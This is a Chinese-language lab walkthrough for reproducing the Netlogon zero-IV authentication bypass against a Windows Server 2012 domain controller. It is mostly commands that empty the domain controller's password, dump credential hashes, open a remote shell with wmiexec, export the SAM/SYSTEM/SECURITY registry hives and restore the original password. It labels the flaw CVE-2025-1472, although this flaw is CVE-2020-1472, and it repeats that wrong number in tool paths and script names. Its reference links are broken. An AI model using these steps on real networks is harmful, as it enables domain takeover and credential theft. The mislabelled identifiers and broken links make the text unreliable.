17370845950

CVE-2025-1472复现打域控

简介

netlogon中使用的aes认证算法中的初始向量(iv)默认设置为0,使得攻击者可以绕过认证。此外,该算法还用于设置域控制器密码的远程接口,导致攻击者可以将域控制器中存储在active directory中的管理员密码设置为空。

复现环境

域控制器(DC):

  • 操作系统:Windows Server 2012
  • IP地址:192.168.106.137

攻击机:

  • 操作系统:Kali Linux
  • IP地址:192.168.106.129

影响版本和域环境搭建

关于域环境的搭建,可以参考文章《Windows Server 2012搭建域环境》。搭建完成后,可以使用

Netdom query fsmo
命令查看域环境信息。

使用

nbtstat -n
获取当前机器的NetBIOS名称。

复现过程

漏洞验证

下载漏洞验证工具:

https://github.com/SecuraBV/CVE-2025-1472

验证漏洞是否存在:

python3 zerologon_tester.py DC_NETBIOS_NAME DC_IP_ADDR

如下图所示,漏洞存在。

漏洞利用

下载漏洞利用工具:

git clone https://github.com/dirkjanm/CVE-2025-1472

置空DC的密码:

python3 cve-2025-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR

如果出现了下图中的错误:

可以参考图中的方式进行修复。

获取HASH

使用impacket包中的secretsdump.py来获取相关的HASH:

python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -no-pass

获取shell

获取HASH后,可以利用wmiexec.py登录,从而获取一个SHELL:

python wmiexec.py -hashes  DOMAIN/DOMAIN_USER@DC_IP_ADDR

恢复原HASH

执行以下命令,获取SAM中原来的HASH:

# SHELL
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

保存在Kali中。

解析HASH,执行如下命令,利用secretsdump.py解析保存在本地的nt hash:

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

需要保存的数据:

a5d65e274a2db831ae4b246ec8fe51de

恢复HASH

恢复HASH的工具:

git clone https://github.com/risksense/zerologon

执行命令:

python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR 

检查是否恢复

再次执行命令:

python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -no-pass

参考资料

[0] 参考文章: https://www./link/9b531edcbb1a4a81e667cd8acce6b8ab

[1] Windows Server 2012搭建域环境: https://www./link/96a0d70498272acfee21d3dbae846113

[2] CVE-2025-1472 域内提权完整利用: https://www./link/36d3be4cf501c5ad9e07d3e2507b181a

[3] CVE-2025-1472复现: https://www./link/308794a90ec43d779df31a2e865a6f36

[4] Windows Server 2012搭建域环境: https://www./link/96a0d70498272acfee21d3dbae846113